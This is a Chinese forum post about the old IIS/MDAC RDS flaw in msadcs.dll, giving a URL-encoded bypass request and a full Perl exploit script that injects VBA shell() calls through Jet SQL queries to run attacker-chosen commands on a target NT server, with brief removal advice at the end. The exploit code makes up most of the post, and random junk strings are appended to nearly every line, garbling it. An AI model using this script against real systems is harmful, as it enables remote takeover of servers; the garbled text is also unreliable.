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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) [0**&.obz  
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涉及程序: L.I}-n  
Microsoft NT server 7Ap~7)z[  
XNkQk0i;g&  
描述: vV:M S O'r  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 zd6Qw-D7x  
"tg\yem  
详细: Nj3^"}V  
如果你没有时间读详细内容的话,就删除: $BR=IYby  
c:\Program Files\Common Files\System\Msadc\msadcs.dll %%-U .   
有关的安全问题就没有了。 R%]9y]HQ  
&<fRej]v  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 !~w6"%2+7  
?@g;[310`  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 #+k .b_LS  
关于利用ODBC远程漏洞的描述,请参看: &}L36|A:  
Ht=6P)  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm m_r@t*  
x[.z"$T@  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 r[UyI3(i^  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp b. %B;qB  
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这里不再论述。 1"4nmw}  
ga 2Q3mV  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: %1 VNP(E  
>zfZw"mEP  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset [#P`_hx  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! =?`y(k4a  
cc2oFn  
H>X\C;X[  
#将下面这段保存为txt文件,然后: "perl -x 文件名" CwEWW\Bu  
w ;s ]n  
#!perl |Ad6~E+aL-  
# gv Rc:5B[  
# MSADC/RDS 'usage' (aka exploit) script :>er^\  
# \0^rJ1*  
# by rain.forest.puppy NZ%~n:/V#  
# ?V\9,BTb)  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 0,L$x*Nj5  
# beta test and find errors! g qJEJ~  
K#6`LL m  
use Socket; use Getopt::Std; x>8}|ou  
getopts("e:vd:h:XR", \%args); Ei?9M^w  
:)+@qxTy  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; )kY _"= d  
23u1nU[0  
if (!defined $args{h} && !defined $args{R}) { ffoo^1}1  
print qq~ }Nd`;d  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Q 2SSJ  
-h <host> = host you want to scan (ip or domain) ;SlS!6.W-  
-d <seconds> = delay between calls, default 1 second jN'fm  
-X = dump Index Server path table, if available t\|K"  
-v = verbose asmW W8lz  
-e = external dictionary file for step 5 thZ@Br O#  
d'x<F[`O  
Or a -R will resume a command session C}8e<[} )  
Vf,~MG  
~; exit;} WT ~dA95  
C$..w80/1  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; (61twutC  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Y9co?!J 5M  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Y=WN4w  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); }96/: ;:k  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 2t`9_zqLw  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } sKB-7  
amk42  
if (!defined $args{R}){ $ret = &has_msadc; ,TfI  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} SU#P.y18%  
< jocfTBk  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Zm8 u:  
. "cmd /c "; +'&_V011<  
$in=<STDIN>; chomp $in; $v bAcWj  
$command="cmd /c " . $in ; Uc4 L|:  
}2!5#/^~  
if (defined $args{R}) {&load; exit;} 3EW f|6RI  
UN .[,%<s  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 2Fp]S a  
&try_btcustmr; d`],l\o C  
{+UNjKQC  
print "\nStep 2: Trying to make our own DSN..."; 4pTu P /  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; _]~ht H  
84oW  
print "\nStep 3: Trying known DSNs..."; +q_lYGTiO  
&known_dsn; A@  
WJh;p: q[  
print "\nStep 4: Trying known .mdbs..."; Ag-?6v  
&known_mdb; cmGj0YUQ1  
ga1gd~a  
if (defined $args{e}){ M?4r5R  
print "\nStep 5: Trying dictionary of DSN names..."; j+B5m:ExfI  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 6q uWO2x  
D@b<}J>0'  
print "Sorry Charley...maybe next time?\n"; 8.3_Wb(c  
exit; s3E~X  
I9G*iu=U   
############################################################################## /&!d  
ZEyGqCf3  
sub sendraw { # ripped and modded from whisker +@7x45;D  
sleep($delay); # it's a DoS on the server! At least on mine... &F*QYz[  
my ($pstr)=@_; m[Ac'la  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || !wb~A0m  
die("Socket problems\n"); xd BZ^Q  
if(connect(S,pack "SnA4x8",2,80,$target)){ QVRokI`BF  
select(S); $|=1; Gv+Tg/  
print $pstr; my @in=<S>; -.Pu5et4  
select(STDOUT); close(S); Wo WM  
return @in; ://# %SE  
} else { die("Can't connect...\n"); }} ]E8<;t)#  
(R*jt,x  
############################################################################## :iNAXy  
5iI3u 7Mn1  
sub make_header { # make the HTTP request .bBQhf.&"  
my $msadc=<<EOT =5=Vm[  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 _Il9s#NA%  
User-Agent: ACTIVEDATA *I1W+W`G  
Host: $ip e %v4,8  
Content-Length: $clen jUR #  
Connection: Keep-Alive Z2j*%/  
0S5C7df  
ADCClientVersion:01.06 _} 9R}  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 >=W#z  
JO^ [@  
--!ADM!ROX!YOUR!WORLD! s riq(A  
Content-Type: application/x-varg nh&<fnh  
Content-Length: $reqlen >dm._*M  
'%RK KA  
EOT <VxpMF  
; $msadc=~s/\n/\r\n/g; y=qo-v59'  
return $msadc;} *_K-T#  
WKJL< D ]:  
############################################################################## Di"9 M(6vf  
irw 7  
sub make_req { # make the RDS request lgqL)^8A  
my ($switch, $p1, $p2)=@_; JTB~nd>  
my $req=""; my $t1, $t2, $query, $dsn; .&}4  
8*PAgPj a  
if ($switch==1){ # this is the btcustmr.mdb query U+r#Y E.  
$query="Select * from Customers where City=" . make_shell(); ~)8i5p;P/k  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 'U{: zBh  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ~cj:AIF  
y/VmjsN}  
elsif ($switch==2){ # this is general make table query 7$P(1D4  
$query="create table AZZ (B int, C varchar(10))"; bO%ck-om!  
$dsn="$p1";} ! -nm7Q  
Cy'W!qH  
elsif ($switch==3){ # this is general exploit table query @$} \S  
$query="select * from AZZ where C=" . make_shell(); r9*H-V$  
$dsn="$p1";} l<_mag/j9o  
'6J$X-  
elsif ($switch==4){ # attempt to hork file info from index server Eakjsk  
$query="select path from scope()"; H4A+Dg,  
$dsn="Provider=MSIDXS;";} 3zF7V:XH  
C)}LV  
elsif ($switch==5){ # bad query g7f%(W 2dd  
$query="select"; D|'Z c &  
$dsn="$p1";} jt?%03iuk  
_'dy$.g  
$t1= make_unicode($query); a3IB, dr5P  
$t2= make_unicode($dsn); ^@"f%3  
$req = "\x02\x00\x03\x00"; D ,^ U%<`  
$req.= "\x08\x00" . pack ("S1", length($t1)); t1s@Ub5);I  
$req.= "\x00\x00" . $t1 ; %t.IxMY  
$req.= "\x08\x00" . pack ("S1", length($t2)); 8@ g D03  
$req.= "\x00\x00" . $t2 ; *.Hnt\4|  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ~x|Sv4M  
return $req;} c2:kZxT  
_tJURk%  
############################################################################## qqre d>K  
qZ1PC>  
sub make_shell { # this makes the shell() statement d0E5;3tQ  
return "'|shell(\"$command\")|'";} ED&KJnquWJ  
W\Y 4%y}  
############################################################################## O4mWsr  
S^=/}PT'  
sub make_unicode { # quick little function to convert to unicode 30`H Xv@  
my ($in)=@_; my $out; n:kxG  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ~36XJ  
return $out;} o!0a8i  
vG:,oB}  
############################################################################## s_kd@?=`x  
IWnW(>V  
sub rdo_success { # checks for RDO return success (this is kludge) ,W;8!n0  
my (@in) = @_; my $base=content_start(@in); D)6||z}  
if($in[$base]=~/multipart\/mixed/){ s7LX  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} h0}-1kVT^  
return 0;} [/]3:|  
L6qA=b~iz  
############################################################################## zxHfQ(  
=J\7(0Dz4t  
sub make_dsn { # this makes a DSN for us Yb/^Qk59  
my @drives=("c","d","e","f"); =5F49  
print "\nMaking DSN: "; c~;.m<yrf  
foreach $drive (@drives) { \LXNdE2B  
print "$drive: "; H[U*' 2TJ  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . |REU7?B  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 3E:<  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); [-a /]  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; "$9ZkADO  
return 0 if $2 eq "404"; # not found/doesn't exist l>q.BG  
if($2 eq "200") { Cvy;O~)  
foreach $line (@results) { 1N*~\rV*?  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ypVr"fWB  
} return 0;} > xw+2<  
'KG`{K$  
############################################################################## 9a unv   
#xB%v  
sub verify_exists { 6, ~aV  
my ($page)=@_; r?*?iw2g  
my @results=sendraw("GET $page HTTP/1.0\n\n"); B[h9epU]K  
return $results[0];} -`o:W?V$u  
:#;?dMkTY  
############################################################################## =r8(9:F!  
{D8 IA3w  
sub try_btcustmr { L}+!<Ug  
my @drives=("c","d","e","f"); @"0qS:s]X  
my @dirs=("winnt","winnt35","winnt351","win","windows"); zvWQ&?&o2  
2(|V1]6D?  
foreach $dir (@dirs) { eS|p3jk;  
print "$dir -> "; # fun status so you can see progress J4; ".Y=  
foreach $drive (@drives) { 3ji#"cX  
print "$drive: "; # ditto DTY=k  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; %iNDRLR%I  
$reqlenlen=length( "$reqlen" ); |xOOdy6 )~  
$clen= 206 + $reqlenlen + $reqlen; 3 -FNd~%  
`)fGw7J {  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); |v&&%>A2  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} )Ec;krb+  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} s+11) ~  
}, H,ky  
############################################################################## ]]4E)j8  
^C{a'  
sub odbc_error { ~qF9*{~!  
my (@in)=@_; my $base; {iv=KF_S_  
my $base = content_start(@in); {3>^nMv@e  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this LWE !+(n  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 9S^-qQH3}  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; OZ&aTm :  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; KN=Orx7Gy  
return $in[$base+4].$in[$base+5].$in[$base+6];} tKs0]8tc  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; HT'dft #  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . H#D=vx'  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} I{ $|Ed1  
_ U\vHa$#  
############################################################################## sQvEUqy9  
KqQrxi?f-  
sub verbose { sAxn ; `  
my ($in)=@_; |^{ IHF\  
return if !$verbose; \wd~ Y  
print STDOUT "\n$in\n";} .:0nK bW  
6Jm4?ex  
############################################################################## {*m?t 7  
WJ@,f%=<~  
sub save { sC j3h  
my ($p1, $p2, $p3, $p4)=@_; j:#[voo7  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ;Ba f&xK  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ?@#<>7V  
close OUT;} bCsQWsj^NW  
G7yxCU(I\  
############################################################################## TBpW/wz/  
LX8vVj8K  
sub load { AjpQb ~\  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; l\eq/yg_  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); f%af.cR*  
@p=<IN>; close(IN); lL?;?V~  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); #q-t!C%E  
$target= inet_aton($ip) || die("inet_aton problems"); [|3 %~s|Sv  
print "Resuming to $ip ..."; v1: 5 r  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; I;7VX5X  
if($p[1]==1) { h*Ej}_  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; SWu=n1J.?H  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 84k;d;  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Y9C]-zEv  
if (rdo_success(@results)){print "Success!\n";} zr,jaR;  
else { print "failed\n"; verbose(odbc_error(@results));}} Cpr}*A   
elsif ($p[1]==3){ p|Ln;aYc  
if(run_query("$p[3]")){ &EMm<(.]a  
print "Success!\n";} else { print "failed\n"; }} sU>*S$X8  
elsif ($p[1]==4){ </eh^<_~  
if(run_query($drvst . "$p[3]")){ kmf4ax h1  
print "Success!\n"; } else { print "failed\n"; }} 8=$@azG  
exit;} CyE.q^Wm  
=(o$1v/k  
############################################################################## (C!fIRY  
kAqk~.  
sub create_table { K3jno+U&  
my ($in)=@_; =I?p(MqW  
$reqlen=length( make_req(2,$in,"") ) - 28; tqHXzmsjW  
$reqlenlen=length( "$reqlen" ); niFjsTA.Z  
$clen= 206 + $reqlenlen + $reqlen; 0Y\u,\GrxW  
my @results=sendraw(make_header() . make_req(2,$in,"")); -n6C~Yx  
return 1 if rdo_success(@results); rh+OgKi  
my $temp= odbc_error(@results); verbose($temp); EV9m\'=j  
return 1 if $temp=~/Table 'AZZ' already exists/; d{0>R{uac  
return 0;} C'{Z?M>  
D%Wr/6X  
############################################################################## &Z9b&P  
iVFn t!  
sub known_dsn { 7|2:;5:U  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go re<"%D  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 9Y7 tI3  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", -V9Cx_]y  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); v^e[`]u(  
I%%$O' S  
foreach $dSn (@dsns) { RvVnVcn^#  
print "."; @wpm;]  
next if (!is_access("DSN=$dSn")); cewQQ&  
if(create_table("DSN=$dSn")){ 3T_-_5[c  
print "$dSn successful\n"; <-$4?}  
if(run_query("DSN=$dSn")){ > vgqf>)kk  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { /OViqZ;9  
print "Something's borked. Use verbose next time\n";}}} print "\n";} "zr%Q'Ky  
/({5x[  
############################################################################## VRD2e ,K  
Blu^\:?#z-  
sub is_access { JAgec`T%  
my ($in)=@_; |u03~L9G  
$reqlen=length( make_req(5,$in,"") ) - 28; _ yU e2Gd  
$reqlenlen=length( "$reqlen" ); l9n 8v\8,o  
$clen= 206 + $reqlenlen + $reqlen; &4 ]%&mX)-  
my @results=sendraw(make_header() . make_req(5,$in,"")); fz:F*zT1  
my $temp= odbc_error(@results); w=OT^d 9n  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); wTOB'  
return 0;} \"n&|_SZ\  
^E5Xpza  
############################################################################## k%hif8y  
/H\ZCIu/7  
sub run_query {  ;v.l<AOE  
my ($in)=@_; $?0<rvGJ  
$reqlen=length( make_req(3,$in,"") ) - 28; ?Hq`*I?b9  
$reqlenlen=length( "$reqlen" ); M5D,YC3<  
$clen= 206 + $reqlenlen + $reqlen; *@n%K,$v  
my @results=sendraw(make_header() . make_req(3,$in,"")); K~[/n<ks  
return 1 if rdo_success(@results); Qg3 -%i/@  
my $temp= odbc_error(@results); verbose($temp); <n0-zCf  
return 0;} }Za[<t BWS  
"ibKi=  
############################################################################## wZ29/{,  
4/HyO\?z5  
sub known_mdb { rGx1>xd(k  
my @drives=("c","d","e","f","g"); w)hJ0k  
my @dirs=("winnt","winnt35","winnt351","win","windows"); t@b';Cuv  
my $dir, $drive, $mdb; #*?a"  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";  ~B/|#o2  
)5bhyzSZI  
# this is sparse, because I don't know of many R\6#J0&Y-  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Dj?9 5Z,r  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", <TDgv%eg0  
"\\system32\\certmdb.mdb", ?eeE[F  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Pf]L`haGN  
6=FF*"-6E  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", aY6]NpT  
"\\cfusion\\cfapps\\forums\\forums_.mdb", V[CS{Hy'  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", he 9qWL&^G  
"\\cfusion\\cfapps\\security\\realm_.mdb", k4eV*e8  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Rg+V;C C~  
"\\cfusion\\database\\cfexamples.mdb", xqLLoSte  
"\\cfusion\\database\\cfsnippets.mdb", d[jxU/.p;  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ,>e)8  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", i_I`Y  
"\\cfusion\\brighttiger\\database\\cleam.mdb",  _8t{4C  
"\\cfusion\\database\\smpolicy.mdb", 9].!mpR  
"\\cfusion\\database\cypress.mdb", I8e{%PK  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 3xbA]u;gp  
"\\website\\cgi-win\\dbsample.mdb", )4"G1R`3  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", D{\hPv  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" i yMIP~N,$  
); #these are just ."cC^og  
foreach $drive (@drives) { ig3uY#  
foreach $dir (@dirs){ KK/~W  
foreach $mdb (@sysmdbs) { _epi[zf@  
print "."; -S Z^;t  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ vA"yy"B+ V  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; dfO84Z} 5  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ iw<+rh*C  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; "rBo?%:  
} else { print "Something's borked. Use verbose next time\n"; }}}}} !y `wAm>n  
,C!MHn^$  
foreach $drive (@drives) { a'W-&j  
foreach $mdb (@mdbs) { -g_PJ.Hk  
print "."; C {gYrz)  
if(create_table($drv . $drive . $dir . $mdb)){ nTp?  
print "\n" . $drive . $dir . $mdb . " successful\n"; `G6Nk@9.  
if(run_query($drv . $drive . $dir . $mdb)){ e*=N\$  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 7hY~  
} else { print "Something's borked. Use verbose next time\n"; }}}} e&#qj^  
} `TBau:ElI  
LQ373 j-  
############################################################################## ~O&3OL:L  
 E*i <P  
sub hork_idx { ^DM^HSm  
print "\nAttempting to dump Index Server tables...\n"; #|xK> ;  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; nu|;(ly  
$reqlen=length( make_req(4,"","") ) - 28; ig)rK<@*[  
$reqlenlen=length( "$reqlen" ); -"#;U`.oh7  
$clen= 206 + $reqlenlen + $reqlen; _.yBX\tf[  
my @results=sendraw2(make_header() . make_req(4,"","")); /a(xUm@.  
if (rdo_success(@results)){ /5EM;Mx  
my $max=@results; my $c; my %d; Z[[ @O  
for($c=19; $c<$max; $c++){ >ouHR*  
$results[$c]=~s/\x00//g; `gSqwN<x%  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 9g|o17  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; tFO86 !ln  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ku&IVr%  
$d{"$1$2"}="";} Ws{2+G~  
foreach $c (keys %d){ print "$c\n"; } rK9X68)  
} else {print "Index server doesn't seem to be installed.\n"; }} IEmtt^C  
":tQYo]d  
############################################################################## wk' |gI[W  
mtvfG  
sub dsn_dict { 2a 3i]e5Kt  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); s: ~3|D][  
while(<IN>){ #0zMPh /U}  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Ox Zw;yD  
next if (!is_access("DSN=$dSn")); "at*G>+  
if(create_table("DSN=$dSn")){ M\ B A+  
print "$dSn successful\n"; Rbm"Qz  
if(run_query("DSN=$dSn")){ ]9pK^<  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { \,+act"v  
print "Something's borked. Use verbose next time\n";}}} =I-SQI8  
print "\n"; close(IN);}  :RBp  
NffZttN  
############################################################################## {|9x*I  
q$Gf9&ZO  
sub sendraw2 { # ripped and modded from whisker QI0d:7!W1  
sleep($delay); # it's a DoS on the server! At least on mine... "d^hY}Xx  
my ($pstr)=@_; E %FCOKw_  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 8*k#T\  
die("Socket problems\n"); H<92tP4M  
if(connect(S,pack "SnA4x8",2,80,$target)){ *VmJydd  
print "Connected. Getting data"; {=pRU_-^  
open(OUT,">raw.out"); my @in; _e E(P1  
select(S); $|=1; print $pstr; xxpvVb)mF  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} )S]4 Kt_  
close(OUT); select(STDOUT); close(S); return @in; MdV-;uf  
} else { die("Can't connect...\n"); }} Y &6vTU  
ZaIlo5  
############################################################################## KP(RK4F  
c*sK| U7)  
sub content_start { # this will take in the server headers p(g0+.?`~  
my (@in)=@_; my $c; f5.rzrU  
for ($c=1;$c<500;$c++) { 60ccQ7=  
if($in[$c] =~/^\x0d\x0a/){ #T &z`  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } qv>?xKSm  
else { return $c+1; }}} wxYB-Wh<  
return -1;} # it should never get here actually 5xtIez]x?  
Ztu _UlGC  
############################################################################## 8+5 z-vd  
uQIa"u7  
sub funky { Q ;V `  
my (@in)=@_; my $error=odbc_error(@in); $d? N("L  
if($error=~/ADO could not find the specified provider/){ Hpo7diBE  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; $k5mI1~  
exit;} ZJlmHlAX  
if($error=~/A Handler is required/){  } Wx#"6  
print "\nServer has custom handler filters (they most likely are patched)\n"; ?=}~]A5N  
exit;} ]A+q:kP  
if($error=~/specified Handler has denied Access/){ f?}~$agc  
print "\nServer has custom handler filters (they most likely are patched)\n"; ,<!_MNw[  
exit;}} ,1J+3ugp&  
vN'Y);$  
############################################################################## ?0QoYA@.$  
wcDHx#~  
sub has_msadc { )`<- c2  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); )L fXb9}  
my $base=content_start(@results); t6V@00M@  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); k`[ L  
return 0;} u2%/</]h  
MY1s  
######################## X2^`Znq9  
nKPvAe(  
mMo<C_~w&  
解决方案: ~Y]*TP  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll BiI?eT +  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 N&ZIsaK,j  
rBG8.E36J  
拿出来充数 哈哈
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